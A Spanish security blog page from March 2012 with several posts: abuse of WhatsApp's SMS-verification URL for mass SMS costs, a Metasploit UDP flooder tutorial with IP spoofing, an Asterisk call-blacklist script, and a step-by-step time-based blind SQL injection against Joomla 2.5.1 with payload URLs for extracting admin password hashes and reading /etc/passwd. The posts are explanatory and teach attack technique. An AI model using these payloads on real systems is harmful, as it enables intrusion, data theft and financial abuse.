26 marzo 2012

¿Arruinamos a WhatsApp?

Después de los distintos post sobre la inseguridad de esta aplicación que han venido haciendo los compañeros de SecurityByDefault, hago este pequeño artículo que explica la posibilidad de realizar envíos masivos de SMS empleando la plataforma que brinda WhatsApp.

El mantener una plataforma de mensajería abierta y gratuita, cuesta mucho dinero. Si a esto se le suma provocar un gasto no contemplado de manera constante, podría acabar con el modelo de negocio que tienen a día de hoy.

Cuando un cliente se instala por primera vez la aplicación, o bien cambia de terminal, este tiene la obligación de solicitar un código de seguridad para verificar que ese número de teléfono es el correcto y prevenir un ID Spoofing.


La URL empleada para la solicitud del código es la siguiente:
https://r.whatsapp.net/v1/code.php?method=sms&to=34600000000&in=600000000&cc=34&mcc=000&mnc=000 

Se especifica en la primera variable "to=" el número de teléfono con el prefijo internacional (34 para España), y en la segundo "in", sin el prefijo. En "cc=" volvemos a poner el prefijo, y las variables "mcc/mnc" son datos de la operadora telefónica y las dejaremos a cero-cero-cero.

Con la creación de un script muy básico, se puede realizar un envío a los 10 millones de teléfonos móviles españoles que tienen WhatsApp instalado.

Empresas como esta, emplean pasarelas de envío de SMS a un precio mucho más bajo del establecido por las operadoras de telefonía, con lo que si el precio que paga esta empresa por SMS lo situamos en 0,01€, cada vez que ejecutemos el script, provocaríamos un gasto de 100.000 euros. En realidad, seguro que pagan mucho menos dinero por SMS, pero también tenemos la posibilidad de enviar muchos más SMS de manera global a otros países, tan sólo valdría con cambiar el prefijo...

Código del script realizado por @chencho:



Este script nos generará un fichero DATA, donde veremos a qué teléfonos les ha llegado el SMS con el Status "success-sent" o bien han fallado por demasiados intentos en un corto espacio de tiempo y no se enviará.

No se ha llegado a probar sobre un escenario real, ya que posiblemente se banearía la dirección IP. Esto no deja de ser una prueba de concepto, y por tanto me exonero de toda responsabilidad por su mal uso, ya que podría haber serios problemas legales.

De hecho, antes de la publicación de este artículo, se ha informado debidamente al Grupo de Delitos Telemáticos de la Guardia Civil,  que ha trabajado de manera impecable dando a conocer a WhatsApp este problema en tiempo récord para una solución lo más rápida posible.

A día de hoy la vulnerabilidad sigue existiendo, por lo que una vez más, la seguridad de esta aplicación y  su gestión de incidencias quedan en evidencia.

Al final van a tener que poner el WhasApp de pago...
------------------------------------------------------------------------------------------------
Artículo cortesía de Omar Benbouazza Villa
Leer más...

25 marzo 2012

Enlaces de la SECmana - 116


    Leer más...

    24 marzo 2012

    ¡¡ Ya somos 10.000 !!



    We are SecurityByDefault, we are a legion!

    Como muchos ya habéis notado, hemos añadido un pequeño contador de gente inscrita a nuestro feed de RSS en el menú lateral, que según Feedburner, ronda las 10.000 personas desde hace un par de semanas. A este número redondo hay que sumar las 1.500 personas inscritas por correo electrónico, con una media de visitas de lunes a viernes de 7.000, con picos de 10.000 que entran a vernos a diario usando la página web y los 7.000 followers de twitter. 

    Este contador dinámico, pese a ser una imagen horrible, se ha convertido en nuestro orgullo y hemos querido dedicar toda una entrada para compartirlo con vosotros, celebrarlo y agradecéroslo, ya que todo el mérito es vuestro, por referenciarnos en el boca a boca y en las redes sociales, mandarnos mails con ideas, enlazarnos desde vuestras páginas webs, escribirnos comentarios y mandarnos artículos.

    Sabemos que solo son números, pero en cierto modo es nuestro termómetro para saber que lo vamos haciendo bien y que el contenido os gusta. Seguro que es mejorable en muchos aspectos y seguimos intentandolo. Estamos hasta en la sopa y lo seguiremos estando mucho más tiempo.

    Una vez más: gracias a todos

    NOTA: No os preocupéis que el inscrito número 10.000 no  ha recibido un correo electrónico avisándole de que le ha tocado un nuevo iPad si pinchaba en un enlace corto que llevaba a una página que descargaba un ejecutable. 

    Leer más...

    23 marzo 2012

    Desarrollando para Metasploit (II) : Módulos auxiliares

    Buenas otra vez, en nuestro post anterior hicimos una breve introducción al desarrollo de módulos de Metasploit programando el típico “Hola mundo”, en éste vamos a profundizar un poco más en el tema centrándonos en los módulos “Aux” (auxiliares). Recordamos que este tipo de módulos sirve para implementar casi cualquier cosa debido a la flexibilidad en la definición de sus interfaces.

    Un tema del que no hablamos y es muy importante son los “Mixins”, su finalidad es evitar la duplicidad del código que se comparte entre módulos, los hay que ayudan en la implementación de escáneres para distintos protocolos ("Msf::Auxiliary::Scanner"), para exploits de fuerza bruta ("Msf::Exploit::Brute") e incluso para exploits remotos de un protocolo específico ("Msf::Exploit::Remote::Ftp"). Esto supone un claro aumento en la velocidad de desarrollo por apoyarse en un número cada vez mayor de módulos probados. Como siempre, en la guía del desarrollador y en la documentación de la API tenemos una referencia mucho más precisa sobre los mismos.

    En esta ocasión vamos a comentar el código de un “flooder” típico para el protocolo UDP, es muy sencillo también pero utiliza “Mixins” y tiene algunas funciones definidas. Con esto tenemos lo necesario para comprender la estructura general de los módulos auxiliares, a partir de aquí se pueden complicar en mayor o menor medida dentro de la función “run()” dependiendo del vector de ataque que esté siendo implementado.

    Código:
    -----------------------------------------------------------------------------------------

    -----------------------------------------------------------------------------------------
    Diferencias a señalar respecto al código de nuestro Hola mundo anterior:

    - Al inicio tenemos dos “include” para cargar los “Mixins”, en un principio podemos verlo como la típica librería de cualquier lenguaje de programación, si necesitamos una función que implementa debemos de cargala antes de usarla. En nuestro caso necesitamos el “Msf::Auxiliary::Dos” para poder usar la función “capture_sendto(p,rhost)” en el método “run()” y en el caso de “Msf::Exploit::Capture” no se carga porque necesitemos ninguna función pero sí por ser necesario para indicar que se trata de un módulo auxiliar de tipo DOS. ¿Con que objetivo? Pues por ejemplo para evitar que se ejecute este módulo durante procesos automáticos, lo cual suele ser una buena idea para los “flooders”.

    - El método “initialize()” es similar al módulo de la vez anterior pero encontramos que se utiliza el “deregister_options('FILTER','PCAPFILE','SNAPLEN')”. Los “Mixins” resgistran automáticamente algunas opciones, en algunos casos necesarias para la ejecución del módulo, por lo cual si no les damos ningún valor éste no se ejecutará. Si nos fijamos vemos que la opción “RHOST” no la creamos, ésto es porque ya lo hace el “Mixin”. “Msf::Exploit::Capture” registra automáticamente las opciones “FILTER”, “PCAPFILE” y “SNAPLEN” debido a que normalmente se utiliza para implementar ataques que precisen alguna captura de red, en este caso no son necesarios así que los desregistramos.

    - A continuación se definen varias funciones que convierten el tipo del valor asignado a cada opción o le asignan uno aleatorio si no se le proporcionó al llamar al módulo.

    - El código termina con el método run(), echándole un vistazo a la documentación del método “UDPPacket()” de la librería PacketFu de Ruby vemos que se codificaría como cualquier otro programa escrito en este lenguaje. Usamos ésta en lugar de abrir un socket UDP porque en este caso no queremos establecer una conexión completa si no crear un paquete manipulado para enviarlo y si no recibimos la respuesta mejor (para eso spoofeamos la dirección IP de origen, entre otras cosas), ya que si no nos podríamos “floodear” a nosotros mismos xD.

    Para terminar, en las imágenes siguientes podemos ver una muestra de su funcionamiento, vemos que envía un paquete UDP del tamaño especificado (256 bytes) con la dirección spoofeada. También se observa que aleatoriza la dirección Ip de origen entre peticiones así como el puerto de salida mientras que el servidor, como especifica la definición del ataque, responde con un “ICMP Unreachable” a cada petición.





    Pues nada más por esta ocasión, en las siguientes implementaremos una PoC que dispare un DoS y otra que explote un stack buffer overflow. Hasta la próxima. :)

    Artículo cortesía de Jesús Pérez y Roi Mallo
    Leer más...

    22 marzo 2012

    Vuestros "ETHERNET EXPOSED" - XI


    Seguimos recibiendo más y más fotos con vuestros ETHERNET EXPOSED, imágenes que realizáis a tomas ethernet que se encuentren expuestas en lugares curiosos, transitados, accesibles... y que posteriormente nos enviáis a nuestra dirección de contacto.

    En esta ocasión, hablaremos de 4 nuevas contribuciones, enviadas por David Noci, Fernando Corvalan, Victor Fernández y un usuario anónimo.

    En primer lugar, David Noci nos cuenta los siguiente:

    "He aquí una posible aportación... de un banco con nombre de capital cántabra en el centro comercial SPLAU! en Cornella, el que está en el campo del Español y en el que ese mismo dia había partido.


    El cajero está justo a la salida del parking.


    Me atrevo a decir que han hecho strike y de los buenos, ya que parece haber una línea principal con un RJ45 (sea ETH o RDSI), con su correspondiente backup típico conmutado (RJ11) e incluso el RJ11 de la alarma del cajero desplazado, en fin... muy chulo para un centro comercial con cines abierto hasta la noche."


    Cada vez es más típico encontrarse cajeros con sus tomas de red de manera externa, en vez de incluir toda su instalación y cableado dentro de la propia "caja" del cajero no permitiendo el acceso a las bocas (y por consiguiente a su red interna).

    Es el turno del Ethernet Exposed que nos envía Fernando Corvalan, con la siguiente descripción de la foto que mostramos a continuación:


    "Aqui les mando un Ethernet Exposed desde Rosario, Argentina para  http://www.securitybydefault.com/2011/04/ethernet-exposed-encuentra-tomas-de-red.html

    Esta en un supermercado "Jumbo" en uno de los centros comerciales mas concurridos de la ciudad."

    Estamos ante un nuevo caso de dispositivo para comprobar los precios mediante código de barras, que necesita realizar la consulta, seguramente, contra un servidor de la red de supermercado para recuperar los datos que se deben mostrar al usuario. Quizás ese bañador nos permitiría esconder algo, poniéndolo encima, durante un período determinado de tiempo, que se conectase a la red y descubriese a que se tiene acceso...arriesgado pero no imposible.

    Victor Fernandez nos envía el siguiente correo electrónico a nuestra cuenta de contacto:

    "En la planta baja de la biblioteca de la facultad de ciencias economicas de la universidad de Vigo se puede encontrar esta cajita. No existe ninguna vigilancia en la sala, no suele haber gente y la caja esta abierta. Se puede mejorar? Pues si, los profesores suelen tener una pegatina en la pantalla de los ordenadores con toda la información para conectarse a la red lo cual a más de uno le seria util."




    En esta ocasión, lo que nos manda Victor es más que un ethernet exposed. Esta electrónica de red al parecer está bastante disponible, no sabríamos realmente si su configuración dejaría poder utilizar otras bocas, si existe algún control en las interfaces, etc, pero no deja de resultar curioso tener un dispositivo así tan al alcance de cualquiera, cuando debería encontrarse en un sitio un poco más...recogido.

    Por último, terminamos con la última aportación de hoy, por parte de un usuario anónimo, que se ha encontrado lo siguiente en la propia calle....no tiene desperdicio:

    "Me gustaría compartir con Ustedes una imágenes que capturé con mi Iphone, MAKRO es un hipermercado de mi ciudad, tiene bastante vigilancia, cámaras de seguridad, personal de civil, vigilancia privada, sin embargo los ingenieros de sistemas dejan al descubierto los puntos de red en el parqueadero."





    La instalación es bastante peculiar, poco que comentar la verdad quizás no se vean las tomas ethernet como tal, y la vigilancia que hay por la zona deje jugar poco, pero la colocación, sujeción y cableado del dispositivo es de traca, ingeniería punta.

    Como siempre os decimos, nuestra dirección de correo sigue abierta a todas aquellas contribuciones de ETHERNET EXPOSED que os encontréis, ¡muchas gracias a todos!
    ---------------



    Leer más...

    21 marzo 2012

    Construyendo un sistema firewall/antispam telefónico

     
    ¿Cuántas veces os ha sonado el teléfono fijo interrumpiendo la comida, despertándoos de la siesta, o incluso hecho salir del baño porque un sistema de telemárketing "avanzado" llama aleatoriamente tu número para ofrecerte un mejor ADSL, cobertura de noseque seguro, una tarjeta de crédito nueva, o vaya usted a saber?

    Bueno pues a mí unas cuantas. Además, desde que tengo la oficina en mi propia casa, es un coñazo soberano la cantidad de molestas llamadas "spam" personas o bots. Antes, tenía un pool de actitudes a tomar cuando recibía estas llamadas, pero ahora, todo esto ha cambiado.

    En el móvil, ya instalé una aplicación como la que comentamos tiempo atrás para evitar el Spam via SMS, y para casa, desde que monté una centralita con Asterisk con el ATA Linksys con el que simulaba hacer llamadas como si estuviera en mi casa/oficina, quien contesta las llamadas es el propio Asterisk. He de decir, que lo de las centralitas VoIP es todo un mundo y me ha sorprendido, muy gratamente, la cantidad de cosas que se puede hacer con ellas.

    En el briconsejo de hoy, vamos a ver cómo se puede hacer para que sea la propia centralita quien filtre las llamadas, blacklisteando números de teléfono origen de los que no queremos oir hablar.

    Dentro del propio interfaz con FreePBX, hay una sección Blacklist, donde se pueden ir añadiendo aquellos números que consideremos molestos.




    Incluso, podemos habilitar el check para que bloquee directamente aquellas llamadas con número oculto (ojo si recibís llamadas internacionales, que a veces entran con CallerID oculto).

    Por otra parte, y con fines más dinámicos, puede que quiera añadir un número a la blacklist, simplemente usando la línea de comandos que tanto me gusta, o delegarlo como un comando más a mi bot GTalk.

    Así que me hice un script, en Perl, que interactúa con el módulo de gestión de la centralita, de manera que pueda pasarle el número de teléfono origen que quiero bloquear.


    #!/usr/bin/perl
    use Asterisk::AMI;
    
    #Vars Asterisk
    my $IP_asterisk="192.168.52.47";
    my $peerport_asterisk="5038";
    my $username_asterisk="admin";
    my $secret_asterisk="esperasentadoqueteladigoeh";
    #/Vars Asterisk
    
    
            my $astman = Asterisk::AMI->new(PeerAddr => $IP_asterisk,
                                            PeerPort => $peerport_asterisk,
                                            Username => $username_asterisk,
                                            Secret => $secret_asterisk
                                    );
    
            die "Unable to connect to asterisk" unless ($astman);
    
            my $quehacer=$ARGV[0];
            my $phone=$ARGV[1];
    
            my $lecommand=undef;
    
            if ($phone)
            {#Hay un telefono leido
                    if ($quehacer eq "block")
                    {
                            $lecommand="database put blacklist $phone 1";
                    }
                    elsif ($quehacer eq "unblock")
                    {
                            $lecommand="database del blacklist $phone";
                    }
                    else
                    {
                            die "Usage: $0 <block || unblock> <phone>";
                    }
    
                    my $action = $astman->send_action ({ Action => 'Command',
                                                     Command => $lecommand
                                                     });
    
                    my $response1 = $astman->get_response($action);
    
                    print "$response1->{'CMD'}[0]\n";
                    #printamos la respuesta
            }
            else {die "Usage: $0 <block || unblock> <phone>";}   
    
    

    En mi caso, llamando con oculto, el Linksys SPA3102 (recordad que es el dispositivo que me reenvía la señal de línea analógica convertida en VoIP a mi Asterisk) lo que mi centralita ve es SPA, que es el alias que le configuré, por lo que tampoco vale la opción "block" que introducía FreePBX. Si intentas añadir manualmente una entrada identificada con letras, FreePBX comprueba mediante Javascript que sea un número y lo bloquea. Sin embargo la API de Asterisk sí que lo permite.

    Hasta ahora, cada vez que me llamaban (e importunaban) apuntaba el número, lo googleaba el número de teléfono y lo guardaba en un fichero de texto. Casi todos hasta ahora han sido de una empresa contratada por Jazztel (pesados!) y Citibank. Investigando por listas de spam telefónico, hay incluso una especie de ranking con teléfonos de mala reputación, al estilo de las listas de reputación IP como las ofrecidas por Alienvault.

    Me he hecho otra herramienta que parsea diariamente el listado de "Top spam" ofrecido por la web  http://www.listaspam.com que, diariamente parsea el Top 10 y, si son números de teléfono de España, los blacklistea directamente en mi Asterisk:


    #!/usr/bin/perl
    use strict;
    use LWP::UserAgent;
    use Asterisk::AMI;
    
    #Vars Asterisk
    my $IP_asterisk="192.168.52.47";
    my $peerport_asterisk="5038";
    my $username_asterisk="admin";
    my $secret_asterisk="esperasentadoqueteladigoeh";
    #/Vars Asterisk
    
    
    my $astman = Asterisk::AMI->new(PeerAddr => $IP_asterisk,
                                    PeerPort => $peerport_asterisk,
                                    Username => $username_asterisk,
                                    Secret => $secret_asterisk
                             );
            die "Unable to connect to asterisk" unless ($astman);
    
    
    
    sub blacklistea
    {
            my $lecommand="database put blacklist $_[0] 1";
            my $action = $astman->send_action ({ Action => 'Command',
                                             Command => $lecommand
                                                     });
    
            my $response1 = $astman->get_response($action);
    
            print "$response1->{'CMD'}[0]\n";
    }
    
    #MAIN
    
    my $url="http://www.listaspam.com";
    
    my $browser= LWP::UserAgent->new;
    my $response = $browser->get($url);
    
    if ($response->is_success)
    {
            my $web=$response->content;
    
            my @cachos=split (/Top spam<\/p>/,$web);
            my @trozos=split (/\<\/a\>\\<\/ul\><\'item_top\'\>/,@cachos[1]); 
            my @mascachos= split (/Telefono=/,@trozos[0]); 
            @mascachos[0]=undef;
            foreach (@mascachos) 
            { 
                  my @trocitos=split(/>/,$_); 
                  if ($trocitos[0] =~ /^[6-9]\d{8}/)                 
                  {
                      print "$trocitos[0]\n";               
                      blacklistea ($trocitos[0]);                 
                  }
            }
     }

    Si además queremos poner una grabación personalizada de bienvenida a este tipo de llamadas, podemos hacerlo modificando en el fichero /etc/asterisk/extensions_additional.conf en la sección siguiente

    [app-blacklist-check]
    include => app-blacklist-check-custom
    exten => s,1,GotoIf($["${CALLERID(number)}" = "Unknown"]?check-blocked)
    exten => s,n,GotoIf($["${CALLERID(number)}" = "Unavailable"]?check-blocked)
    exten => s,n,GotoIf($["foo${CALLERID(number)}" = "foo"]?check-blocked:check)
    exten => s,n(check-blocked),GotoIf($["${DB(blacklist/blocked)}" = "1"]?blacklisted)
    exten => s,n(check),GotoIf($["${BLACKLIST()}"="1"]?blacklisted)
    exten => s,n,Set(CALLED_BLACKLIST=1)
    exten => s,n,Return()
    exten => s,n(blacklisted),Answer
    exten => s,n,Wait(1)
    exten => s,n,Zapateller()
    exten => s,n,Playback(ss-noservice)
    exten => s,n,Hangup
    
    ; end of [app-blacklist-check]
    

    En este bloque cambiar la línea  "exten => s,n,Playback(ss-noservice)" por "exten => s,n,Playback(ss-spam)"

    Además deberemos tener en formato .sln en el directorio /var/lib/asterisk/sounds/ el fichero "ss-spam.sln".
    Para ello, convertir el .wav mediante "sox" así:

    sox ss-spam.wav -t raw -r 8000 -s -2 -c 1 ss-spam.sln
    

    Os dejo el que he creado yo para cuando me llama algún pesado desde un número que está en la blacklist:


    Leer más...

    20 marzo 2012

    Exploit de Joomla paso a paso

    En esta entrada voy a tratar de explicar cómo hacer un exploit paso a paso para Joomla 2.5.0-2.5.1 o 1.7.0-1.7.5, de la forma más sencilla posible y explicando  conceptos básicos de inyecciones de SQL y alguno un poco más avanzado, ya que en este caso se hace el ataque basado en tiempo.

    Para este ejercicio lo ideal es que montéis un Joomla versión 2.5.1 por defecto en vuestro sistema y podáis acceder localmente para ir haciendo las pruebas.

    Hasta la fecha no hay exploit para este fallo del 29 de febrero, aunque la vulnerabilidad se conoce gracias a la nota de seguridad de Colin Wong.

    Lo que me ha dejado completamente K.O., es como una vulnerabilidad tan gorda y estúpida, se ha podido colar en el código. Me ha sorprendido muchísimo que no haya sido descubierta antes, coño, si es que hasta el Acunetix, la detecta.


    El primer paso es buscar donde está el bug comparando el código de la versión vulnerable: 2.5.0 ó 2.5.1, con el de la versión que lo soluciona: 2.5.2. 

    Se descargan ambos ficheros y se descomprimen para ver que líneas han sido modificadas. Afortunadamente no hay demasiadas y es muy sencillo detectar las líneas que están afectadas por el sql injection con un simple comando "diff" (línea 8)



    ¡Vaya! En las dos últimas líneas del diff se ve que la variable "$current" en la nueva versión es llamada usando $db->quote() y no directamente. Sospechoso ;).

    Lo siguiente es tratar de encontrar en que momento este código es ejecutado para averiguar donde se ha de inyectar el código SQL y hasta dónde se puede llegar.

    Toca revisar el fichero dónde está esa línea: j-2.5.1/plugins/system/redirect/redirect.php


    Tan solo por la cabecera se puede observar que es un componente del Core de Joomla que está encargado de hacer redirecciones y viendo el panel de administración, te haces una rápida idea de que función hace este plugin.


    Básicamente permite hacer redirecciones en caso de que solicite una página web que no existe. Gestionando los errores y evitando que un visitante llegue a una página muerta de la web.

    Ahora a leer el código del fichero más en detalle y lentamente. Por lo menos la parte más crítica:


    Al margen del primer comentario (hay que ver ahora quien es el idiota). En el código se aprecia que la sentencia SQL vulnerable (línea 24) es llamada cuando no existe una redirección publicada y permanente creada para esa página (el if de la línea 18). Es decir, si por ejemplo se solicita la URL: http://localhost/joomla/index.php/AAAAA y el administrador del CMS no ha creado un redirect para esta página, mostrará un error 404 estándar de Joomla.

    El siguiente paso  que da el aplicativo (de la línea 26 a la 45) es añadir la URL a la base de datos para que el administrador pueda ver que páginas se han solicitado y no existen, pero esta parte es indistinta, ya que la inyección se ha generado antes y por lo tanto es irrelevante.

    ¿Entonces cómo se explota? Pues tan solo hay que llamar una página del tipo: http://localhost/joomla/index.php/AAAAAA' union select ... y el código que se quiera insertar. Lo sé, parece imposible que un producto tan popular y con esta madurez aún tenga un sql injection TAN estúpido.

    "El problema" para hacer uso de la vulnerabilidad es que el resultado de la inyección no es mostrado por pantalla, ni errores, ni resultados positivos/negativos y conseguir algo útil es un poco más complejo, ya que la sentencia vulnerable es usada internamente por el aplicativo y no para generar la página resultante.

    Solo queda una alternativa y es hacer inyecciones basadas en tiempo. Es decir, si al solicitar la página no existente tarda 1 segundo en responder normalmente, provocar que tarde 10 según el resultado de la inyección.

    El ejemplo más sencillo para detectar esta vulnerabilidad es llamar a la página de la siguiente forma: http://localhost/joomla/index.php/AAAAAA' union select sleep(10) union select '1 y observaríamos que tarda 10 segundos en devolver la página ya que la sentencia SQL vulnerable se quedará 10 segundos esperando e impidiendo la ejecución normal que devolvería la página normalmente en 1 ó 2 segundos. 

    La ejecución en base de datos y completando la sentencia que se obtiene de la línea 24 con los parámetros que se han pasado, queda de la siguiente forma:

    select id from tabla where old_url='http://localhost/joomla/index.php/AAAAAA' union select sleep(15) union select '1'

    Ahora no queda más remedio que estudiar funciones de MySQL y ver cómo usar este comportamiento, para extraer datos. Las más importantes:
    • database(): devuelve el nombre de la base de datos: select database()
    • sleep(): ejecuta una demora de tiempo: select sleep(10)
    • length(): devuelve la longitud de una cadena: select length(database()) 
    • ascii(): devuelve el valor ascii de una cadena: select ascii("A")
    • substring() ó mid(): recorta una cadena de caracteres: select mid(database(),1,1)
    • load_file(): devuelve el contenido de un fichero: select load_file("/etc/hosts")
    • ord(): devuelve el código del valor si es multibyte o su ascii: select ord("2")
    • if(): permite devolver valores en base a los resultados de otras consultas: select if(database()="hola","yes","no") en este caso "no", ya que se llama "joomla" y no "hola"
    Mezclando estas funciones se puede llegar al objetivo final. Por ejemplo, en mi base de datos que se llama "joomla":
    1. select substring(database(),1,1) devuelve el primer carácter de "joomla", es decir, la "j".
    2. select ascii(substring(database(),1,1)) devuelve el primer carácter del nombre "joomla", la "j" y luego lo convierte a su decimal ascii: 106
    3. select ascii(substring(database(),2,1)) devuelve el segundo carácter de "joomla", la "o" y luego lo convierte a su decimal ascii: 111
    4. select if(database()="joomla","si","no") comprueba si el resultado de database() es "joomla", en caso de que correcto devuelve "si", en caso de que no sea así devolverá "no".
    5. select if(ascii(substring(database(),2,1))=106,sleep(10),null) comprueba si el decimal ascii del primer carácter de database(), "106", es igual a 106, si es así, ejecuta un sleep de 10 segundos y si no, no devuelve nada.
    Lo mejor, verlo en funcionamiento directamente sobre MySQL


    Pues después de esto solo queda automatizar todo el proceso del ejemplo 5 para ir recorriendo cadenas de caracteres con substring() y comparar con la tabla ascii, calculando cuánto tarda la web en responder, 10 segundos o tan solo 1 ó 2.

    Con estas peticiones se averigua el primer carácter de "database()":

    select if(ascii(substring(database(),1,1))=1,sleep(10),null)
    select if(ascii(substring(database(),1,1))=2,sleep(10),null)
    select if(ascii(substring(database(),1,1))=3,sleep(10),null)
    ...
    select if(ascii(substring(database(),1,1))=105,sleep(10),null)
    select if(ascii(substring(database(),1,1))=106,sleep(10),null)    <-- en esta se ejecutará el sleep, ya que el ascii de "j" es 106 y la condición se cumple.

    Una vez se detecta el retardo de 10 segundos, se pasa al siguiente carácter, modificando el substring:


    select if(ascii(substring(database(),2,1))=1,sleep(10),null)
    select if(ascii(substring(database(),2,1))=2,sleep(10),null)
    select if(ascii(substring(database(),2,1))=3,sleep(10),null)
    ...

    Anidando un par de bucles y calculando el tiempo se puede sacar el resultado de cualquier consulta sql. Por ejemplo con: select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users" se obtiene el nombre de la tabla donde se almacenan los usuarios y con: select password from zzzz_users limit 1, el hash de la contraseña del usuario administrador.

    Si el usuario que se conecta a la base de datos tiene privilegios suficientes, también podría ejecutar load_file(), cargando un fichero del sistema, que se yo, por ejemplo el /etc/passwd. 

    El exploit tan solo ha de automatizar este proceso, incluso puede que alguna herramienta ya desarrollada se pueda configurar para este propósito. El funcionamiento incluyendo peticiones tendría este flujo:
    1. Se obtiene la fecha del sistema
    2. Se hace petición HTTP GET con la comprobación, por ejemplo:  http://localhost/joomla/index.php/AAAAAA' union  select if(ascii(substring(database(),1,1))=1,sleep(10),null) union select '1
    3. Se vuelve a obtener la fecha del sistema
    4. Si la diferencia de tiempo entre el punto 1 y el 3 es de 10 segundos, es que la condición del 'if' se cumple, por lo que se conoce el valor ascii correcto. 
    Pues eso es todo, ya solo queda optimizar y tirar línas de código que hagan el trabajo sucio.

    La optimización pasa por encontrar el menor tiempo posible de espera, reduciendo los 10 segundos que se han usado durante todo el artículo a uno inferior que no genere falsas alarmas. Otra mejora consiste en no hacer tantas peticiones web, evitando recorrer toda la tabla ascii buscando el carácter válido. Para determinadas sentencias, como database(), tan solo consultar desde el decimal 32 al 90.

    La última, un poco más compleja consiste en hacer una consulta con ord() y AND para averiguar los bits que compone cada byte. Con tan solo 8 peticiones se averigua el código ascii, pero si calculamos que la mitad de las peticiones tendrán como resultado un sleep(), puede tardar más que hacer hasta las 60  peticiones recorriendo la propia tabla, en la que solo un requiere un único sleep().

    ¡Fin! Espero que este ejercicio le haya servido a alguien. Este es el código que a mí me ha quedado:



    Para los más vagos, un vídeo que espero sea explicativo.

    Leer más...